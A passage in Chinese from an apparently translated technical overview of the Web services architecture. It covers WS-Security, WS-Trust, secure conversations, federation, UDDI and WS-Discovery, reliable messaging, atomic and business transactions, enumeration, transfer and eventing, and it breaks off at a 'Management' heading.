<P>&nbsp;&nbsp;&nbsp; 消息级安全性是端到端安全性的关键构造块。使用消息级安全性时，无需传输级安全性。对消息级安全性的要求是消息完整性、消息身份验证和机密性。消息完整性确保消息不能在不知不觉中被更改。使用XMLSignature可确保消息的修改能够被察觉。消息身份验证可识别发送消息的主体。如果使用了公钥加密，就可以确定主体的唯一身份。将公钥加密与经受信任源认证的密钥一起使用可以实现这种身份验证。不过，如果使用了对称密钥加密，情况就不一样了——只有知道共享密钥的主体才能被识别。消息机密性可确保在传输期间未经授权的第三方不能阅读消息。SOAP消息是通过使用XMLEncryption [XMLENC]和安全性令牌来保证机密性的。</P>
<P>&nbsp;&nbsp;&nbsp; 完整性、身份验证和机密性机制将初始消息（或该消息的某些部分）作为输入，将生成的数据（如校验和）作为输出。例如，在某种简单情况下，XML元素的签名可能会作为XML元素所有字符的散列的非对称加密来实现。然后该加密散列可以存储在该消息中，并在该消息中传送。可以将XML文档看作字符串。就像XML签名一样，逐字符地比较也是非常重要的安全性操作。一字之差会导致不同的结果。串行化是用于表示“在线”对象的方法。例如，串行化可用于创建SOAP消息的XML表示。不同串行化软件所导致的任何无关紧要的排字差异都会被消息处理软件忽略，但会对安全性软件产生很大影响。XML消息的Infoset表示形式改进了这一问题。要使XML签名生效，消息必须转换成一个对所有方都是一致的XML表单。规范化是一个术语，来描述用于生成一致的换行符、制表间隔、属性排序和结束标签样式等非关键信息视图的方法。签名包含了用于使消息接收者能够完全像发送者那样处理安全信息的规范化方法。某一服务所使用的特定的规范化方法是要放置在一个WSDL portType绑定或WSDL端口的有用的策略断言。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Security指定了消息完整性和机密性机制以及单一的消息身份验证。对于消息完整性，该规范详细描述了加密签名是如何表示并与SOAP消息的特定部分关联的。该方法允许任意格式良好的消息片段拥有单独的签名。与之类似，机密性是通过结构良好的消息片段的加密来实现。身份验证是使用数字签名来实现的。WS-Security规范描述了当前常用的安全机制，也没有排除将来添加新机制的可能性。因为SOAP处理模型使用Header元素来作出处理决定，所以是决定SOAP消息中的哪些元素需要加密时一定要多加小心。</P>
<P>&nbsp;&nbsp;&nbsp; 在决定要对哪些元素进行加密以及要使用哪些加密算法时，Web服务设计人员一定要清楚消息是如何处理的。当某些特定的Header元素需要由第三方或中介来处理时，这些决定就更为重要了。如果这些参与者对适当的解密数据或对在加密XML元素时所使用的约定毫无所知，它们将无法实现正确操作。此外，每个处理节点对消息中包含的安全信息都必须有个一般的了解。加密某一Header中XML元素的一个自然选择就是对它进行完全加密，用初始元素替代加密数据类型的元素。这种简单的方法有些缺点。例如，中介不太好确定必须处理哪些元素（带有mustUnderstand="1"属性的元素）。另外，当元素类型发生变化时，确定其初始类型比较困难。另一种方法是对元素进行转换，使得进行正确的SOAP处理所需的所有关键属性都保持不变，且对初始元素进行了加密，并放在一个特殊的子元素中。这种方法的优点是即使不知道如何解密元素的中介也能实现正确的处理。这种方法的一个缺点是它要求所有参与者都了解用于表示初始元素的约定。尽管WS-Security目前没有对这种方法提供指导，但我们预期将来会提供的。相比之下这种方法更好一些，因为它可实现所有SOAP Header元素的正确处理。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Security的概要规范中描述了几种安全性令牌。针对表示用户名的令牌、X.509证书和基于XML的安全性令牌的概要都已经开发出来。基于XML的安全性令牌包括安全性断言标记语言（SAML，Security Assertion Markup Language）和可扩展权限标记语言/权限表达语言（REL，Rights Expression Language）。Kerberos票的使用规范还未成型。</P>
<P class=indent><B>WS-I基本安全概要<BR></B>&nbsp;&nbsp;&nbsp; WS-I将要发布的最新的互操作性概要之一是基本安全概要（BSP，Basic Security Profile）。该概要提供了WS-Security和各种安全性令牌，如Username和X.509证书令牌的实现指导。该概要用于补充和完善WS-I基本概要。</P>
<H2>基于安全令牌的信任</H2>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌是提供端到端安全解决方案所必需的。这些安全性令牌必须在消息处理的参与者之间实现直接或间接共享。各参与者还必须确定断言的凭证是否可信。这些信任关系以安全性令牌的交换和代理为基础，并存在于已经确定的支持信任策略中。例如，某一代理的令牌有多少可信，是由系统管理员和他们确定的信任关系决定的。提供安全性令牌的服务五花八门。这是各种底层安全技术首先为Web服务所使用的领域。为了提供一种与安全技术无关的统一标准的解决方案，新协议是为信任域之间的安全性令牌交换而设计的。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Trust以用于请求、发出和代理安全性令牌的协议对WS-Security进行了补充。需要特别指出的是，其中定义了用于获取、发行、更新和验证安全性令牌的操作。该规范的另一个新特性是建立新信任关系的机制。IPsec或TLS/SSL之类的网络和传输保护机制可以与WS-Trust结合，以适应不同的安全性需求和情况。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌可以直接从某一适当的发行者处申请获得，或者通过委托某一受信任的第三方来获取。令牌还可以出乎意料地获得。例如，令牌可以从某一安全权威机构发送到一个并未明确申请该令牌的某一方。为此，系统管理员要确定初始信任关系，如将某一给定服务指定为信任的根服务。这种方法类似于目前Web上用于自展安全性的方法。从该服务获得的所有令牌受信任的程度与受信任的根服务本身相同。例如，如果某根服务只有断言A和B得到信任，且某一消息包含断言A、B和C，则该消息中只有断言A和B得到信任。配置灵活性是通过信任关系授权提供的。为了处理在退回或发出安全性令牌之前需要各方之间的一个交换集的情况，定义了用于验证、协商和交换的方法。一种称为“challenge”的特殊形式的交换为某一方证明它拥有与某一令牌关联的密钥提供了一种方法。交换的其他类型包括传统的协议隧道。WS-Trust详细说明了如何扩展该规范，以支持更多的令牌交换协议，而不仅仅是所给出的这两个例子。</P>
<P>&nbsp;&nbsp;&nbsp; 表示安全性断言的安全性令牌是由一个受信任根或一个通过一个授权链的根发行的。这些安全性断言用于验证消息符合正在施行的安全策略。它们还验证断言者的属性是通过签名来校验的。在代理的信任模式中，即由受信任的中介分配安全性令牌的模式中，签名可能不验证断言者的身份，而验证中介的身份。该中介可能只断言者的身份。</P>
<H2>安全会话</H2>
<P>&nbsp;&nbsp;&nbsp; 用于消息身份验证和机密性的某些机制可能会耗用大量的资源。需要特别指出的是，许多加密技术都会显著消耗处理能力。当消息的安全性是逐一得到保证时，这些代价通常是无法避免的。不过，当两个Web服务进行许多消息的交换时，可以使用比WS-Security中定义的方法更为高效和健壮的消息机密性方法。这些方法是基于对称加密的，在保证消息会话的安全时应使用它们。</P>
<P>&nbsp;&nbsp;&nbsp; WS-SecureConversation在基于共享密钥（如对称加密）的两个通信方之间定义了一个安全上下文。在整个会话期内，安全上下文在各通信方之间始终是共享的。会话密钥由共享密钥派生而来，用于解密在会话中发送的单个消息。安全上下文在线表示为一个新的安全性令牌类型（即SCT ，Security Context Token）。</P>
<P>&nbsp;&nbsp;&nbsp; 规范为建立安全会话各方之间的安全上下文定义了3种不同方法。第一种，由安全性令牌服务创建，且必须由会话发起方提取并传送。第二种，通信一方创建安全上下文并通过消息传递给另一方。第三种，通过协商和交换创建安全上下文。Web服务会选择最能满足其需要的方法。必要时可以对安全上下文进行修正。更新安全上下文的一个典型例子是延长安全上下文的截止时间。安全上下文令牌隐含或包含了一个共享密钥。该密钥用于签名、加密消息。当使用共享密钥时，通信各方可以选用不同的密钥派生模式。例如，可以派生出4个密钥，这样双方便可以使用单独的密钥来签名和加密消息。为了保证密钥未曾用过和保持高度的安全性，应使用后续的派生密钥。使用这种方法来保证会话的安全性是一种更好的选择。WS-SecureConversation规范定义了一种方法来指示给定消息正在使用哪些派生密钥。所有派生算法都是通过URI来识别的。</P>
<H2>安全策略</H2>
<P>&nbsp;&nbsp;&nbsp; WS-SecurityPolicy通过用一种符合WS-Policy的语言指定安全策略断言来完善WS-Security，其6种断言涉及安全性令牌、消息完整性、消息机密性、消息对SOAP中介的可见性、对安全Header的约束和消息寿命。例如，某一策略断言可能要求所有消息都使用某一权威机构提供的公钥来签名，或该身份验证要基于Kerberos票。</P>
<H2>系统联盟</H2>
<P>&nbsp;&nbsp;&nbsp; 除了我们已经介绍的方法以外，应用程序安全性还需要更多的方法。例如，在某一信任域中有效的身份在其他信任域中很可能没有意义。要让不同信任域中的服务能够验证身份的有效性，就需要适当的机制。WS-Federation定义了一些机制，以支持身份、帐户、属性、身份验证和身份验证信息跨信任域的共享。利用这些机制，多个安全域可以通过在由多方参与的Web服务之间支持和代理身份、属性和身份验证的信任而结成联盟。该规范扩展了WS-Trust模型，使属性和笔名可以被整合到令牌发行机制中，从而形成一种多域身份映射机制。这些机制都支持单点登录、退出和笔名，并描述了专业服务对于属性和笔名的作用。</P>
<P>&nbsp;&nbsp;&nbsp; 通过身份联盟，很多要求都可以得到满足。就拿将一名员工与其雇主关联起来的例子来说，公司A的Jane从OfficeSupplyStore.com进行采购，公司A和OfficeSupplyStore.com之间有一个采购合同。因为Jane的身份是与公司A关联的，所以可以让她来依据该合同来进行采购。第二个例子是将一个人映射到多个笔名。大家可能只知道Joe使用joe@companya.com工作。他还可能有其他身份，如joe_bloggs@hotmail.com和josephb@cornell.edu。通过身份联盟，系统可以确定这些身份都是同一个Joe。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务联合安全架构中定义了两个一般的请求者（消息发送者）类：被动和智能（活动）。被动请求者是只使用HTTP且从来不发出安全性令牌的服务。智能请求者是能够发出包含诸如WS-Security和WS-Trust中所描述的那些安全性令牌的消息的服务。传统的基于HTTP的Web浏览器就是被动请求者的一个例子。定义这两种请求者的行为的概要规范现已开发出来。对于智能请求者，active请求者概要详细说明了单点登录、退出和笔名是如何通过使用SOAP消息而整合到Web服务安全模型中的。实际上，该概要描述了在智能请求者上下文中实现WS-联盟中所描述的模式的方法。它详细说明了各种安全性令牌的要求。作为这些安全性令牌要求中之一的一个例子，当不使用安全通道时，X.509证书的整个令牌必须包含权威机构的名称和签名。该概要还要求X.509令牌包含主题标识符，以唯一地识别授之以该令牌的主题。</P>
<H1>发现（Discovery）</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍Web服务架构中用于定位网络上Web服务和确定该服务可用性的功能组件：UDDI和WS-Discovery。Web服务发现是在没有人工干预的情况下实现服务连接自动化的关键。Web服务发现方法反映了计算机系统中查找信息的两个最常见方法：查看一个众所周知的目录，或将一个请求广播给所有可用的监听器。UDDI注册表就相当于该目录，发现协议用于广播请求。</P>
<H2>目录（Directory）</H2>
<P>&nbsp;&nbsp;&nbsp; 通用描述发现和集成协议，即UDDI——Universal Description Discovery and Integration Protocol，指定了一个用于查询和更新Web服务信息通用目录协议。该目录包含关于服务提供商、它们所托管的服务以及这些服务所实施的协议的信息。该目录还提供了用于向任何注册信息添加元数据的方法。如果Web服务信息存储在众所周知的位置时，则可以使用UDDI目录方法。一旦找到目录，就可以发送一系列查询请求以获取想要的信息。UDDI目录位置通常是通过系统配置数据从带外（Out of Band）获得的。</P>
<P>&nbsp;&nbsp;&nbsp; 对于如何部署UDDI注册表，Web服务提供商有很多不同的选择。部署方案不外乎3个类别：公共、企业外和企业内。为了支持公共部署，以Microsoft、IBM和SAP为首的一组供应商主持推出了UDDI企业注册表[UBR，UDDI Business Registry]。UBR是一个可跨多个主持企业复制的公共UDDI注册表，它既是基于Internet的Web服务资源，又是Web服务开发者的一个试验台。尽管目前公共UDDI实施已经受到了最大关注，但UDDI的早期采用者仍更倾向于使用企业外和企业内方法。在这两种部署情况下，企业要部署一个专用注册表，而且更严密地控制注册信息类型也是可能的。这些专用注册表可能只供一个企业使用，也可能供若干组业务合作伙伴使用。UDDI还为注册表间的复制和跨部署的信任联盟定义了协议。使用这些协议进一步增加了可用于实施者的部署方案数量。对于所有的部署方案，UDDI目录都包含了Web服务及其托管地的详细信息。UDDI目录项有3个主要部分——服务提供商、所提供的Web服务和实施绑定。其中的每一部分都逐渐提供有关Web服务的更详细信息。</P>
<P>&nbsp;&nbsp;&nbsp; 大部分的一般信息都描述服务提供商。该信息不针对Web服务软件，而是针对直接负责该服务的开发者或实施者。服务提供商信息包括名称、地址、联系人及其他管理细节。所有的UDDI项都有多个元素来支持多语言描述。可用的Web服务列表存储在服务提供商项中。这些服务可能是根据它们的预定用途来组织的：它们可能被分成不同的应用领域、地区或任何其他适用的模式。存储在UDDI注册表中的服务信息只包含服务描述和一个指向它所包含的Web服务实施的指针。由其他提供商托管的服务链接称为‘服务映射（Service Projection）’，也可能被注册。</P>
<P>&nbsp;&nbsp;&nbsp; UDDI服务提供商实体的最后部分是实施绑定。该绑定将Web服务项与确切的URI关联起来，以确定在何处部署服务，它还指定了访问协议，并包含所实施的确切协议的参考资料。这些细节对于开发人员编写调用Web服务的应用程序已经足够。详细的协议定义的是通过一个称为“类型模型（即tModel，Type Model）”的UDDI 实体提供的。在许多情况下，tModel都会引用一个描述SOAP Web服务接口的WSDL文件描述，但tModel的灵活性也几乎可以描述任何种类的资源。对于在UDDI中注册的每一个提供商或服务来说，来自标准分类学（如NAICS和较古老的美国标准行业代码）或其他身份识别方案（如Edgar Central Index Key）的元数据都可用于分类信息和提高搜索准确性。可用的分类学和标识符方案集作为任何实施的一部分，是可轻松扩展的，因此可以对其进行定制以支持任何特定的地域、行业或企业需求。</P>
<H2>动态发现（Dynamic Discovery）</H2>
<P>&nbsp;&nbsp;&nbsp; 动态Web服务发现是以不同方式提供的。作为在已知注册表中存储信息的另一种方案，动态发现的Web服务会明确地声明它们的到达、离开网络。WS-Discovery为通过多路广播消息来声明和发现Web服务定义了协议。当Web服务连接到网络时，它通过发送一条Hello消息来声明它的到达。在最简单的情况下，这些声明的跨网发送使用多路广播协议——我们称之为自组织网络。该方法还最大限度地减少了网络上的轮询需要。为了限制网络信息流通量和优化发现过程，系统可能会包含一个发现代理。发现代理用一个众所周知的服务位置取代了发送多路广播消息的需要，从而将自组织网络转变成托管网络。利用配置信息，代理服务集合可以连接在一起，从而将发现服务扩展到多组服务器，从一台机器扩展到多台机器。</P>
<P>&nbsp;&nbsp;&nbsp; 因为发现代理自身也是Web服务，它们可能会用自己专用的Hello消息来声明它们的到场。接收该消息的Web服务然后可以利用该代理的服务，而无需再使用干扰较多的一对多发现协议。当服务离开网络时，WS-Discovery会指定一个Bye消息以发送给网络或发现代理。该消息通知网络上的其他服务离开的Web服务不再可用。</P>
<P>&nbsp;&nbsp;&nbsp; 为了完善这种服务声明和离开的基本方法的不足，WS-Discovery定义了两个操作——Probe和Resolve，以定位网络上的Web服务。对于自组织网络，Probe消息被发送给多路广播组，并且与该请求匹配的目标服务会将响应直接反馈给请求者。对于利用发现代理的托管网络，Probe消息则以单路广播方式发送给发现代理。如果按名称定位Web服务，则使用Resolve消息。Resolve消息只以多路广播模式发送。Resolve 类似于地址解析协议，即ARP，它将IP地址转换成其对应的物理网络地址。WS-Discovery规范还支持这样的系统配置：将Probe消息发送给一个已经通过其他管理方法建立起来的发现代理，如通过使用众所周知的DHCP记录。</P>
<P>&nbsp;&nbsp;&nbsp; 动态发现服务的能力实现了Web服务管理的自举。与WS-Eventing及其他协议相结合，更复杂的管理服务也可以通过使用这种动态发现基础架构来构建。动态发现还将Web服务架构扩展到设备，如那些目前可能实施通用即插即用（UPnP）协议的系统——这是使该架构真正实现通用的重要一步。例如，借助WS-Discovery和WS-Eventing，打印机或存储介质等设备可以作为Web服务纳入到系统中，而且无需专门的工具或协议。</P>
<P class=indent><B>Web服务设备概要规范<BR></B>&nbsp;&nbsp;&nbsp; Web服务设备概要规范对在资源受限的设备上应该实施Web服务架构规范家族的哪个子集提供了指导。该概要力图在由于资源限制而作出折衷时，在可用的丰富功能和最重要的功能之间找到平衡。</P>
<H1>一致性协议——可靠的消息传递和事务</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍可以提供可靠的消息传送、事务行为和能够在一组Web服务之间进行显式协调的Web服务架构组件。定义这些功能的规范是WS-ReliableMessaging、WS-Coordination、WS-AtomicTransaction和WS-BusinessActivity。</P>
<P>&nbsp;&nbsp;&nbsp; 当多个Web服务必须完成工作的某一共同单元或依照某种共同的行为进行操作时，对于使用哪个协议必须达成共识。Web服务之间这种最低限度的协调是不可避免的。协调协议还必须能够确定并同意已达成一个共同目标。Web服务之间的每一个交互都可以看作一种协调。一致性协议为该架构提供了一个改进的机会，即参与者服务在它们准备共同完成的任务方面将获得成功。在传输丢失了消息和服务失常时，Web服务架构仍然能够正常工作。</P>
<P>&nbsp;&nbsp;&nbsp; 任何多方协调都可以通过接连地随需加入更多参与者从两方协调逐步发展而成。两方协调可能是自发的，也可能需要一个指定的协调者。广泛使用的自发协调协议的一个例子是同步请求—响应消息传递模式。这是一致性协调的最简单形式之一；对于每个工作请求，接收方Web服务必须完成所有预期工作之后才能向请求者返回数据。双方都遵循这种严格的模式，无需显式协调服务。</P>
<H2>可靠的消息传递</H2>
<P>&nbsp;&nbsp;&nbsp; 很多情形都可能中断两个服务之间的消息交换。当使用不可靠的传输协议（如HTTP 1.0和SMTP）来进行传输或当消息交换跨多个传输层连接时，这更会成为一个问题。消息可能会丢失、被复制或重新排序，Web服务可能会失败并失去易变状态。WS-ReliableMessaging是一个基于特定的传送保证特征实现可靠消息传送的协议。该规范定义了3个可结合使用的不同断言：</P>
<UL>
<LI>At-Least-Once Delivery（至少一次传送）：每条消息至少传送一次。 
<LI>At-Most-Once Delivery（至多一次传送）：不传送重复的消息。 
<LI>In-Order Delivery（依次传送）：按消息的发送顺序传送消息。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 至少一次和至多一次保证相结合的结果是恰好进行一次传送。由于Web服务架构的设计与传输无关，因此所有传送都与所用的通信传输工具或其组合无关。由于开发人员必须预测的潜在传送失败模式数量减少，故使用WS-ReliableMessaging可以简化系统开发。</P>
<P>&nbsp;&nbsp;&nbsp; 可靠的消息传送不需要显式协调者。当使用WS-ReliableMessaging时，参与者必须根据SOAP消息Header中所发送的信息识别协议。作为一个组传输的消息集合称为消息序列（Message Sequence）。消息序列可以由发起者/发送者或Web服务创建，当建立一种双向关联时通常由它们共同创建。序列是使用CreateSequence和CreateSequenceResponse消息显式创建的。当想要的最终结果是用两个单向序列来充当一个双向序列时，发起者将提供Web服务所要使用的序列。该序列的ID由发起者包含在CreateSequence消息中。</P>
<P>&nbsp;&nbsp;&nbsp; WS-ReliableMessaging中定义了几个策略断言。这些策略断言用WS-Policy中定义的方法来表示。</P>
<P>&nbsp;&nbsp;&nbsp; 可靠的消息传递协议简化了开发人员为在传输不断变化的情况下传输消息而必须编写的代码。也就是说，底层基础架构可以对消息在端点之间的正常传输进行验证，必要时还会转发消息并检测重复。应用程序不需要任何附加逻辑来处理提供传送可能需要的消息转发、重复消息的消除、消息重新排序或消息确认。WS-ReliableMessaging的实施是跨发起者和服务分布的。那些非‘在线’可见的特征，如消息传送顺序，是通过实施WS-ReliableMessaging规范来提供的。虽然由传输损失导致的消息重发等特征是通过不为应用程序所知的消息传递层来处理的，其他端到端特征（如依次传送）都要求消息传递基础架构和接收应用程序相互协作。当发送者希望按发送顺序提供消息排序时，在接收者一方却按接收顺序提供消息排序的情况是依次传送的一种不正确实施——注意到这一点是很有趣的。当发送者希望按接收顺序提供消息顺序时，在接收者一方按发送顺序提供消息顺序的情况，是依次传送的一种正确实施。</P>
<H2>指定的协调者</H2>
<P>&nbsp;&nbsp;&nbsp; N路协调协议的某些族需要一个指定的协调者来引导一个工作单元通过一系列合作服务，一个例子是活动必须在不希望被同时连接的服务之间协调。只要每个参与者和协调者在某一时刻通信，协调就可能发生，结果就可能达成一致。Web服务架构为指定的协调者定义了某些简单操作。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Coordination规范定义了一个可扩展的协调框架来支持需要显式协调者的情况。该协议引入了一个称为协调上下文（Coordination Context）的SOAP头块，用以唯一地识别联合工作中将要着手进行的部分。为了启动工作的接合部分，Web服务会向一个或多个目标服务发送协调上下文。收到协调上下文后，接收方服务会得到提示，说有联合协作请求提出。协调上下文中包含了足够的信息，请求接收者可以利用这些信息来确定是否参与该工作。协调上下文中包含的确切信息根据被请求工作的种类的不同而变化。</P>
<P>&nbsp;&nbsp;&nbsp; 协调类型集是可扩充的。只要参与该联合工作的每个服务对所需行为都有个一般的了解，新类型就可以通过实施来定义。例如，原子事务是Web服务架构中已经定义了的几个初始基础协调类型之一。如果被请求的协调类型被理解并被接受，Web服务就会使用WS-Coordination注册协议来通知协调者并参与该联合工作。协调上下文中包含了协调者的一个端点引用和可能行为的可选标识符。注册操作指定该多方参与的Web服务所支持的行为。一旦注册消息发送到协调者，Web服务就会依照它们所预订的协议参与该工作。注册是协调框架中的关键操作，它允许意欲协同配合以完成工作的共同单元的不同Web服务相互连接在一起。</P>
<P>&nbsp;&nbsp;&nbsp; WS-AtomicTransaction为Web服务指定了传统的ACID事务，并为原子事务协调类型定义了3个协议：完成协议（Completion Protocol）和两阶段提交协议（Two-Phase Commit Protocol）的两个变体。完成协议用于启动提交处理。为完成而注册的Web服务能够通知指定的协调者何时开始提交处理。该协议还详细说明了用于通知启动者事务最终结果的消息。不过，该协议不要求协调者确保启动者对结果进行处理。相反，WS-AtomicTransaction中的其他行为则要求协调者确保参与者对协调消息进行处理。</P>
<P>&nbsp;&nbsp;&nbsp; 两阶段提交（2PC）协议为所有已注册的参与者提供了一个公共的提交或中止决定，确保了所有参与者都能得到最终结果通知。顾名思义，它使用两轮通知来完成该事务。该协议的两个变体是：易失2PC（Volatile 2PC）和持久2PC（Durable 2PC）。这两个协议在线上使用相同的消息（对应于Prepare、Commit和Abort操作），但易失2PC没有持久性要求。易失2PC协议供管理易失资源的参与者使用，如缓存管理器或窗口管理器。这些参与者在第一轮通知中不与协调者发生联系，且不需要第二轮的通知。持久2PC协议供管理数据库和文件等持久资源的参与者使用。当某一提交处理已经启动时，在所有易失2PC参与者被联系过之后这些参与者会第一次被联系。这使缓存能够被刷新。持久2PC参与者需要完整的两轮通知来实现协调者所要求的全有或全无行为以及完成该事务。这些行为最适合于可以在整个事务期内持有资源，且该事务通常为非常短暂的事务的情况。该协议保证在正常处理的情况下，协调者提供第一阶段结果的同时将联系所有参与者。对于完成时间预计将比较长的事务，或当资源（如锁）无法持有时，其他协调协议就会定义替换行为。</P>
<P>&nbsp;&nbsp;&nbsp; WS-AtomicTransaction中定义了若干策略断言，这些策略断言使用WS-Policy中定义的方法来表示。</P>
<H2>排队系统（Queued System）</H2>
<P>&nbsp;&nbsp;&nbsp; 构建分布式系统时被证明非常有用的一种模式是使用事务持久队列来提供存储转发异步消息传送。在这种模式下，原子事务被用于每一个传输端点。在发送端，发送应用程序以原子事务方式将消息发送给一个持久队列，此时应用程序和队列管理器都使用WS-AtomicTransaction来进行协调。只有在处理消息时不发生错误，消息才被认为成功发送至该队列。接下来，发送队列和接收队列之间消息的传送由队列子系统来接管。该传输步骤可以在消息置入发送队列之后的某一时刻完成。此外，发送队列的位置无需与发出消息的应用程序的位置一致。与此类似，从接收队列检索消息的应用程序也使用原子事务来执行类似操作。也就是说，只有不出现处理错误时消息才能从队列中移除。</P>
<H2>持续时间长的活动（Long Duration Activities）</H2>
<P>&nbsp;&nbsp;&nbsp; WS-BusinessActivity为运行时间长的事务指定了两个协议。WS-BusinessActivity规范在事务提交之前并不锁定资源，而是基于补偿操作。底层事务模型是所谓的开放嵌套事务。这些协议系统化地说明了松耦合服务如何对已经完成某一联合任务达成一致意见。在其中的一个协议中，协调者显式地通知参与者没有更多的工作正在以联合任务的名义被请求。在另一个协议中，该参与者就是通知协调者以联合任务名义出现的工作已经完成的参与者。使用补偿操作可以在不锁定这些操作的情况下完成试验性操作。不管出于何故，只要系统想要撤消已完成的试验性操作结果，就要启动补偿操作。WS-AtomicTransaction和WS-BusinessActivity都利用WS-Coordination来管理Web服务之间的协作。</P>
<P class=indent><B>三方握手<BR></B>&nbsp;&nbsp;&nbsp; 三方握手连接的建立和解除协议是不需要指定协调者服务的协调协议的一个例子。为了建立连接，发送者要向接收者发送一个请求。该请求建立一个会话。如果该请求被接受，接收者就会发出一条确认消息，对该请求作出积极响应。发送者然后再发送一条消息，作为对该确认消息的确认，从而证明双方都知道对方已经建立了一个会话。</P>
<P>&nbsp;&nbsp;&nbsp; 解除协议类似。一方向另一方发送一个会话解除请求。接收者以对解除消息的确认消息作为响应。接收到该确认消息之后，发出解除消息的一方通过再对该确认消息发送一条确认消息结束消息交换。</P>
<H1>枚举、传输和事件</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍提供Web服务架构中的服务资源枚举、其状态管理和事件通知的规范。这些规范基于WS-Enumeration、WS-Transfer和WS-Eventing。</P>
<H2>枚举（Enumeration）</H2>
<P>&nbsp;&nbsp;&nbsp; 很多情况所要求的数据交换都使用不只一对的请求/响应消息。需要这些更长时间数据交换的应用类型包括数据库查询、数据流、命名空间等信息的遍历和枚举列表。特别是枚举，它是通过建立数据源和请求者之间的会话来实现的。会话中接连不断的消息用于传送正在被检索的元素的集合。对于该服务用于组织将要生成的项的方法不作假设。在正常处理的情况下，枚举应在会话结束前生成所有底层数据。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Enumeration指定了用于建立枚举会话和检索数据序列的协议。枚举协议允许数据源向正在使用的服务提供一个叫做枚举上下文的会话抽象。该上下文通过一个数据项序列来表示逻辑光标。然后，请求者将该枚举上下文用于一个或多个SOAP消息的某一区间以请求数据。枚举数据表示为XML Infoset。该规范还允许数据源提供一种自定义机制来开始新的枚举。既然枚举会话可能需要若干个消息交换，那么会话状态必须保持稳定。</P>
<P>&nbsp;&nbsp;&nbsp; 关于迭代进度的状态信息可以由数据源或正在使用的服务在请求间维护。WS-Enumeration允许数据源一个请求一个请求地决定哪一方将负责维护下一个请求的状态。这种灵活性实现了若干种优化。例如，使服务器能够避免对调用之间的任何光标状态进行保存。由于消息潜伏时间对于支持若干个同时枚举的服务来说可能会很长，不保存状态可能会使必须维护的信息总量大大减少。资源受限设备（如移动电话）上的服务实现可能根本无法维护任何状态信息。</P>
<H2>传输（Transfer）</H2>
<P>&nbsp;&nbsp;&nbsp; WS-Transfer详细说明了对通过Web服务进行访问的数据实体进行管理所需的基本操作。要了解WS-Transfer需要介绍两个新术语：工厂（Factory）和资源（Resource）。工厂是能够从其XML表示形式创建资源的Web服务。WS-Transfer引入了用于创建、更新、检索和删除资源的操作。应当注意，对于资源状态维护，宿主服务器最多也只能做到尽力而为。当客户端获知服务器接受了创建或更新某一资源的请求时，它可以适当地预期资源目前在的确定位置，并具有确定了的表示形式，但这并不是一个保证——即使是在没有任何第三方的情况下。服务器可能会更改某一资源的表示形式，可能会彻底删除某一资源，也可能会恢复已经删除的某一资源。这种保证的缺乏与Web提供的松耦合模型一致。如果需要，服务可以提供非Web服务架构所必需的附加保证。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Transfer的创建、更新和删除操作扩展了WS-MetadataExchange中的只读操作功能。检索操作与WS-MetadataExchange中的Get操作完全相同。Create请求发送给工厂。然后，工厂创建被请求的资源并确定其初始表示形式。工厂被假定与所创建的资源不同。新资源被分配给一个在响应消息中返回的，由服务决定的端点引用。Put操作通过提供一种替换表示形式来更新资源。资源表示形式的一次性快照与WS-MetadataExchange中的Get操作一样，也可以通过WS-Transfer中的Get操作来检索。Delete操作成功后，资源将无法再通过端点引用来使用。这4个元数据管理操作构成了Web服务中状态管理的构建基础。</P>
<H2>事件（Eventing）</H2>
<P>&nbsp;&nbsp;&nbsp; 在由需要相互通信的服务构成的系统中，可能会使用异步消息传递。在很多情况下，由一个服务生成的信息也是其他服务所需要的。由于伸缩性差，轮询往往不是获得这种信息的有效方法；通过网络发送的不必要的消息太多了。相反，该架构需要一种当事件发生时发出显式通知的机制。更重要的要求是源服务和用户服务的绑定必须在运行时动态完成。为此，Web服务架构提供了一个轻量级事件协议。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Eventing详细说明了实现下面4个实体交互的机制：订户、订阅管理器、事件源和事件接收。这使某一Web服务在作为一个订户时能够登记它对另一个Web服务（事件源）所提供的特定事件的兴趣。这种注册叫做订阅。WS-Eventing定义了某一服务可以提供的支持订阅创建和管理的操作。当事件源判定有事件发生时，它就会将此信息提供给订阅管理器。订阅管理器然后可以将该事件传送给所有匹配的订阅，这类似于传统的发布/订阅事件通知系统中的发布主题。Web服务架构提供了主题定义、组织和发现方式的全面灵活性；它为在很多不同的应用场合中可能会用到的订阅提供了一个通用的管理基础架构。也可以订阅出租的资源，但最终都必须收回。用于收回资源的主要机制是各个订阅的到期时间。查询订阅状态同样也有一种机制，帮助订户管理其若干订阅事项（包括续订、通知和取消订阅的请求）的附加操作规范中也有详细说明。当然，任何服务都可以随时自由地终止订阅，这与所有Web服务的自主原则一致。订阅终止消息可供事件源通知订户订阅终止过早。</P>
<P>&nbsp;&nbsp;&nbsp; 虽然基于事件的异步消息的一般模式很常见，但不同的应用通常都要求使用不同的事件传送机制。例如，在某些情况下简单异步消息可能是最佳选择，但如果事件接收能够通过轮询控制消息流和消息到达时间，则其他情况可能会更适用。当接收无法从源头到达目的地时，如接收有防火墙阻拦的情况下，轮询也是必要的。WS-Eventing中所引入的传送模式概念就是用来支持这些要求的。传送模式被用作一个扩展点，以便为订户、事件接收和事件源建立定制的传送机制提供一种手段。下述管理规范利用了这种机制。</P>
<P>&nbsp;&nbsp;&nbsp; 事件代理可用于聚合或重新分配来自不同来源的通知，代理还可以用作独立的订阅管理器。这两个方法都得到了WS-Eventing的支持。代理在系统中可以扮演若干个重要角色。主题可以按特定的应用类来组织使用。代理可以充当通知聚集器，用于整合来自多个来源的事件信息。它们也可以充当过滤器，这比用于其自己通知的过滤器所接收的消息要多。这种灵活性是部署健壮而可伸缩的通知系统所必需的。</P>
<H2>管理（Management）</H2>
